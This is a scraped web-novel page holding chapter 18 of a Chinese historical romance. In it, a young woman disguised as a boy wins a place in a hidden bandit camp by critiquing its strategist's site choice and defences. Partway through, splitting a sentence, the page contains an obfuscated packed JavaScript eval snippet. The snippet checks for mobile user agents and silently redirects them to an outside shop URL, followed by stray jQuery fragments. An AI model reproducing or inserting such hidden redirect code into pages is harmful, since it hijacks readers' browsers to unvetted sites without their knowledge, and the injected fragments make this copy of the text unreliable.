文趣网 > 其他小说 > 金阙三分月 > 18.第十八章
    沈沁姝自幼生活在官宦之家,虽身子底子不算孱弱,却素来少有这般连夜奔波、踏荒赶夜的经历,远比不上石勇这般常年习武、跋山涉水的武夫体魄。

    可她始终不曾懈怠,更无半句叫苦抱怨。

    石勇看在眼里,心底暗暗赞许,开始有些相信她先前说的话。她心思通透,性子也这般坚韧沉稳,没准真能帮上什么忙。

    又赶了一程夜路,石勇怕她体力不支,放缓脚步,问道:“夜里山路难行,你身子可吃得消?若是累了,咱们便稍作停顿歇歇脚。”

    沈沁姝确实早已腿脚发酸、身心疲乏,她知道石勇问她是出于好心,但她心里清楚眼下处境凶险,多停留一分,便多一分变数,绝不能因一己疲累耽误行程。

    她定了定神,对石勇笑道:“无妨,我还能坚持,赶路要紧。”

    “行。你要是坚持不住,便与我说。”

    沈沁姝点头应下,随后她又道,语气颇为恳切:“石兄,往后涉险居多,我手无缚鸡之力,终究是拖累。不知你可否愿意,闲暇时教我一些粗浅武艺防身?”

    石勇本就感念沈敬之昔日恩情,又打心底里欣赏她的隐忍坚韧,闻言想也没想,便豪爽应下:“这有何难!靖兄既然想学,我便倾我所能,教你几招基础拳脚与防身招式。往后遇上凶险,也能自保一二,不至于任人拿捏。”

    两人一路疾行,足足赶了两个时辰的山路,才终于抵达目的地。

    此地藏在群山褶皱之中,三面环山,地势隐蔽,唯有一条窄窄的野路通向外界,既方便打探山下消息,又极易防守隐匿,当真是一处绝佳的临时落脚之地。

    远远望去,林间只隐约露出几座简陋的竹木棚屋,皆是就地取材搭建,粗朴破旧,与周遭山林融为一体,半点也不惹眼。

    沈沁姝将这一切看在眼里,心底暗自赞叹,对军师的选址眼光更添几分认可。

    石勇放缓脚步,压低声音对着她叮嘱道:“到地方了。这里只是军师收拢流民的临时根据地,他没带多少人手,都是信得过的弟兄,行事低调,不敢太过张扬。待进去,我便说你是我的远房表弟,日后你便叫我表哥。”

    “表哥。”沈沁姝点头表示自己记下了,她又环视四周将周遭地形地势一一记在心底,随后敛去眼底神色,紧跟着石勇,走了进去。

    刚踏入棚屋围成的空地,几道目光便齐刷刷落了过来。

    棚下坐着几个身着粗布劲装、身形精悍的汉子,他们瞧见石勇,都笑着起身打招呼,语气熟络又豪爽。

    “石哥回来了!”

    “快去通报军师,石哥回来了!”

    有人立刻转身,往最深处那间稍大的主棚跑去报信,余下的弟兄则好奇地打量着石勇身后的沈沁姝。

    眼前这少年身形清瘦,一身朴素粗布男装,却难掩眉宇间的清俊,瞧着倒像个读书人家的公子。

    当下便有个性子爽朗的大汉笑着打趣:“石哥,你这出门一趟,还捡回来个俊俏后生?哪儿找来的好模样!”

    这话一出,旁人也跟着哄笑起来,眼神里的好奇更浓了几分。

    石勇脸色一沉,当即粗声呵斥:“别浑说!这是我远房表弟沈靖,此番跟着我来投奔,你们嘴巴都放干净些,不许胡乱打趣!”

    众人见他这般认真,连忙收了玩笑,纷纷点头应下,再看沈沁姝的目光,便多了几分客气,少了几分调笑。

    就在这时,空地深处的主棚帘布被人轻轻掀开,一道身影缓步走了出来。

    沈沁姝下意识抬眸望去,心头一惊。

    她本以为,能制衡暴虐大当家、收拢流民、执掌山寨大权的军师,定是沉稳老辣、城府深沉的中年之人,可眼前之人,却全然出乎她的意料。

    那走过来的男子不过二十出头的年纪,身形清挺修长,身着一身素净的浅灰粗布长衫,未佩任何兵刃饰物。长发简单束起,面容温润俊朗,眉眼干净柔和,唇角还带着一抹浅浅的淡笑,周身没有半分匪气戾气,反倒像个温文尔雅、饱读诗书的清俊书生,看上去人畜无害,温润谦和。

    此时月光明亮,透过林间枝叶洒在他身上,更显他身姿清朗,眉眼温和,全然看不出半分杀伐的气场。

    沈沁姝站在原地,心底暗暗惊叹。

    她着实没有想到,这青峰岭的军师,竟如此年轻,看上去不过弱冠之年,更有着这般温润无害的模样。

    年纪轻轻,便能在乱世之中收拢流民、立足山寨,制衡悍匪、稳掌大局,这般城府与能耐,实在令人倾佩。

    沈沁姝越发好奇萧暮言的来历。

    萧暮言走近,目光先落在沈沁姝身上,淡淡扫过一眼,继而转向石勇,开口问道:“石勇,这位小兄弟是何人?”

    石勇连忙上前一步,按着先前编好的说辞回道:“回军师,这是我远房表弟沈靖。我此番进城办事,见他爹娘皆没了,孤身一人混在流民堆里,眼看就要饿死,便顺手把他带了出来,求军师开恩,收留他在营中,给口饭吃便好。”

    军师闻言点了点头,打量了一眼沈沁姝,片刻后却忽然轻笑一声:“这营地本就收留流离失所的百姓,可也并非什么人都留。石勇你一身好武艺,留在营中自然有用,可这位小兄弟看着身形瘦弱,瞧模样不过十三四岁的半大孩子,手无缚鸡之力,留在我这荒山野岭的临时营地,又能做些什么?”

    石勇愣在原地,这个问题他先前并未细想,张了张嘴,一时竟答不上来。

    一旁的沈沁姝却十分镇定。

    她身形本就比寻常女子高挑,此刻身着男装,清瘦的轮廓瞧着恰如营养不良、尚未长开的少年郎。她微微沉下气,刻意压低声线,嗓音带着少年人特有的青涩沙哑,听着倒与这个年纪的男子别无二致。

    她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533706|202417||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    抬头迎上军师的目光,不卑不亢地开口道:“先生便是萧军师吧?晚辈斗胆,方才入营之时,已将周遭地势与营中布置看在眼里。”

    “此处藏于群山褶皱之中,三面环山,唯有一条小径通外,隐蔽易守,不易被官府察觉;营地依林木而建,棚屋排布错落,外围设有暗哨,东南西北各有两人轮值巡逻;暗处还布了警戒的枯枝绳线,一旦有人擅闯便会惊动营内。既能盯紧山下动静,又能防备突发变故,选址与布防皆是上上之选。”

    她条理清晰,一字一句,分毫不差地说出了营地的布局,在场众人皆是一愣,连石勇都不由得瞪大了眼睛。

    顿了顿,她又继续道:“晚辈听表哥提及过,先生是初次到青溪地界。能在短时间内寻到这般绝佳隐秘之地,又布下如此周全的防备,实在厉害。”说到这儿,她拱了拱手。

    萧暮言浅笑,没有回话,只是示意她继续。

    于是沈沁姝继续道:“只是晚辈斗胆直言,此处虽好,却有短板。眼下只是临时落脚尚可,可先生此番本是为收拢青溪流民、壮大山寨而来,若是想要长期驻扎,此地棚屋简陋、空间狭小,根本容不下陆续前来的流民;且附近水源不足,粮草囤积也极为不便,绝非长久之计。”

    “离此地三里外的山坳处,才是更合适的地方。那里地势同样隐蔽,却比此处开阔数倍,可搭建大量棚屋安置流民;山坳后有山泉活水,水源充足无忧;西侧紧邻下山小径,方便打探消息、运送物资;东侧又有密林阻隔,易守难攻。无论安置百姓、囤积物资,还是日后扩张,都再合适不过。”

    “再者,先生眼下布下的哨岗,看似周全,却只盯了大路与正面,忽略了后山悬崖下的缓坡,那处虽地势偏险,可若有人刻意绕路,仍是隐患;还有营中粮草堆放之处,离炊火棚过近,秋冬草木干燥,终究有几分不妥。只是这些皆是小瑕疵,并无大碍,倒并不影响大局。”

    一席话毕,全场寂静无声。

    石勇看呆了,全然没想到沈沁姝就路上匆匆一眼,便有这般见识,而且还能指出军师布局的不当之处。

    萧暮言脸上的笑意一点点加深,眼底掠过讶异与赏识。目光落在沈沁姝身上,便再无半分随意,反倒多了几分探究的意味。

    他转头看向石勇,意味深长道:“你这位表弟,倒是与你截然不同。有勇无谋是莽夫,有识有胆,才是可用之人。”

    说罢,他重新看向沈沁姝:“留下吧。”

    沈沁姝悬着的心,这才稍稍落地。

    军师又淡淡补充了一句:“明日一早,你便随我去看看你说的那处山坳。”

    “是。”她垂首应下,心底却丝毫不敢松懈。

    眼前之人虽始终面带微笑,语气平和,无半分凌厉之色,可那双眼眸太过清亮深邃,笑意从未达眼底,周身散发出的压迫感,远比刀光剑影更让人心慌。